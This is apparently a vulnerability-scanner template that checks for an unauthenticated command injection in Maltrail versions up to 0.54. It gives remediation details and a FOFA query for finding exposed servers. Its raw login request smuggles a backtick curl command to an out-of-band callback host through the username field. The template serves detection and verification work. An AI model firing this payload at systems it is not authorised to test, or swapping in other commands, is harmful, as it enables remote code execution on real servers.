id: maltrail-rce info: name: Maltrail <= v0.54 - Unauthenticated OS Command Injection author: pussycat0x severity: critical description: | The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username")parameter. An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication. remediation: Fixed in 0.55 Version reference: - https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/ - https://github.com/stamparm/maltrail/commit/a299967318cc226c18a6a07d1be708e3f21edd39 metadata: verified: true max-request: 1 fofa-query: "Server: Maltrail" tags: huntr,maltrail,rce,oast,oos http: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Origin: {{RootURL}} Referer: {{RootURL}} username=;`curl {{interactsh-url}}` matchers: - type: dsl dsl: - contains(body,'Login failed') - contains(interactsh_protocol,'dns') - contains(content_type, "text/plain") condition: and # digest: 490a0046304402204271303319b619aa2e03b44c47153a1a54da57224963740b028912e4dd2505d40220685f0134ebc4a755b23f247b203ebc03971eae2cf5b306e8aa6cd0aaea97d11f:922c64590222798bb761d5b6d8e72950